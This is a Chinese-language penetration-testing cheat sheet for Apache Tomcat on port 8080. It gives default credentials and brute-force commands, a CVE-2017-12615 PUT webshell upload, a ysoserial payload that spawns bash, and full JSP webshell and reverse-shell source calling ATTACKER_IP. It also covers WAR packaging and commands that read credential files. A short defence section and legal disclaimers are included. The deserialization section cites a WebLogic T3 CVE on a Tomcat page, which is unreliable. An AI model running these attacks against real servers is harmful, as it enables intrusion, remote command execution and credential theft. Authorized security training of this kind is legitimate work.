---
title: "8080 - Tomcat"
weight: 8080
date: "2026-03-08T23:34:34+08:00"
lastmod: "2026-03-10T13:26:55+08:00"
---

💡 **学习提示**: 本文档介绍 **Tomcat** 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

---

> ⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

## 漏洞概述

Apache Tomcat 是流行的 Java Web 应用服务器，常见漏洞包括弱口令、文件上传、反序列化等。

**影响版本**: 所有版本  
**危害等级**: ⭐⭐⭐⭐⭐

---

## 信息收集

### 端口扫描

```bash
# Nmap 扫描
nmap -sV -p 8080 <TARGET_IP>

# Tomcat 枚举
nmap --script http-tomcat-* <TARGET_IP>
```

### 版本识别

```bash
# 访问默认页面
curl http://<TARGET_IP>:8080/

# 查看版本信息
curl http://<TARGET_IP>:8080/RELEASE-NOTES.txt
```

### 管理后台探测

```bash
# 常见管理路径
/manager/html
/manager/text
/host-manager/html
/admin
```

---

## 漏洞利用

### 方法 1: 弱口令爆破

```bash
# 默认凭据
tomcat:tomcat
admin:admin
admin:password
manager:manager
role:role
both:tomcat

# Hydra 爆破
hydra -L /usr/share/wordlists/tomcat-users.txt -P /usr/share/wordlists/rockyou.txt http-get://<TARGET_IP>:8080/manager/html

# Medusa 爆破
medusa -h <TARGET_IP> -p 8080 -U users.txt -P passwords.txt -M http -m DIR=/manager/html
```

### 方法 2: 文件上传（Manager 应用）

```bash
# 1. 登录管理后台
http://<TARGET_IP>:8080/manager/html

# 2. 上传 WAR 包
# 选择 WAR file to deploy
# 上传恶意 WAR 包

# 3. 访问 Webshell
http://<TARGET_IP>:8080/shell/shell.jsp
```

### 方法 3: PUT 方法上传（CVE-2017-12615）

```bash
# 检查是否允许 PUT
curl -X PUT http://<TARGET_IP>:8080/shell.jsp/ -d "<%@page import=\"java.util.*\"%><%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>"

# 如果返回 201 或 204，说明成功
# 访问 Webshell
http://<TARGET_IP>:8080/shell.jsp?cmd=whoami
```

### 方法 4: 反序列化漏洞

```bash
# CVE-2015-4852
# 使用 ysoserial 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64}|{base64,-d}|{bash,-i}" > payload.bin

# 发送到 T3 端口
```

---

## Webshell 制作

### JSP Webshell

```jsp
<%-- 简单命令执行 --%>
<%@ page import="java.util.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        Scanner s = new Scanner(p.getInputStream());
        while (s.hasNext()) {
            out.println(s.nextLine());
        }
    }
%>

<%-- 反弹 Shell --%>
<%@ page import="java.net.*,java.io.*" %>
<%
    String host = "ATTACKER_IP";
    int port = 4444;
    Socket s = new Socket(host, port);
    Process p = Runtime.getRuntime().exec("/bin/bash");
    new StreamConnector(p.getInputStream(), s.getOutputStream()).start();
    new StreamConnector(p.getErrorStream(), s.getOutputStream()).start();
    new StreamConnector(s.getInputStream(), p.getOutputStream()).start();
%>
```

### WAR 包制作

```bash
# 创建目录结构
mkdir -p shell/WEB-INF

# 创建 web.xml
cat > shell/WEB-INF/web.xml << EOF
<?xml version="1.0"?>
<web-app>
    <servlet>
        <servlet-name>Shell</servlet-name>
        <jsp-file>/shell.jsp</jsp-file>
    </servlet>
    <servlet-mapping>
        <servlet-name>Shell</servlet-name>
        <url-pattern>/shell</url-pattern>
    </servlet-mapping>
</web-app>
EOF

# 复制 JSP Webshell
cp shell.jsp shell/

# 打包 WAR
cd shell && jar -cvf ../shell.war .
```

---

## 提权路径

### Tomcat 提权到系统

```bash
# 1. 查看 Tomcat 运行用户
ps aux | grep tomcat

# 2. 查看 sudo 权限
sudo -l

# 3. 查找敏感文件
find / -name "*.xml" 2>/dev/null | grep -i tomcat
cat /opt/tomcat/conf/tomcat-users.xml
```

### 数据库凭据

```bash
# 查看数据库配置
cat /opt/tomcat/webapps/ROOT/WEB-INF/classes/jdbc.properties
cat /opt/tomcat/webapps/ROOT/WEB-INF/web.xml
```

---

## 防御建议

1. **修改默认凭据**
   ```xml
   <!-- conf/tomcat-users.xml -->
   <role rolename="admin-gui"/>
   <user username="admin" password="StrongPassword123!" roles="admin-gui"/>
   ```

2. **禁用 Manager 应用**
   ```bash
   # 删除或重命名
   rm -rf webapps/manager
   rm -rf webapps/host-manager
   ```

3. **限制访问 IP**
   ```xml
   <!-- conf/Catalina/localhost/manager.xml -->
   <Context>
       <Valve className="org.apache.catalina.valves.RemoteAddrValve"
              allow="127\.0\.0\.1"/>
   </Context>
   ```

4. **禁用 HTTP PUT 方法**
   ```xml
   <!-- conf/web.xml -->
   <security-constraint>
       <web-resource-collection>
           <url-pattern>/*</url-pattern>
           <http-method>PUT</http-method>
       </web-resource-collection>
       <auth-constraint/>
   </security-constraint>
   ```

5. **定期更新**
   - 安装最新安全补丁

---

## 参考链接

- [HackTricks - 8080-tomcat](https://book.hacktricks.wiki/en/network-services-pentesting/8080-tomcat.html)

---

---

---

### 搜索引擎语法

#### FOFA

```bash
# FOFA 搜索语法
port="8080"
```

#### Shodan

```bash
# Shodan 搜索语法
port:8080
```

#### ZoomEye

```bash
# ZoomEye 搜索语法
port:8080
```

---

## 📖 参考资料

- [HackTricks - 8080-tomcat](https://book.hacktricks.wiki/en/network-services-pentesting/8080-tomcat.html)

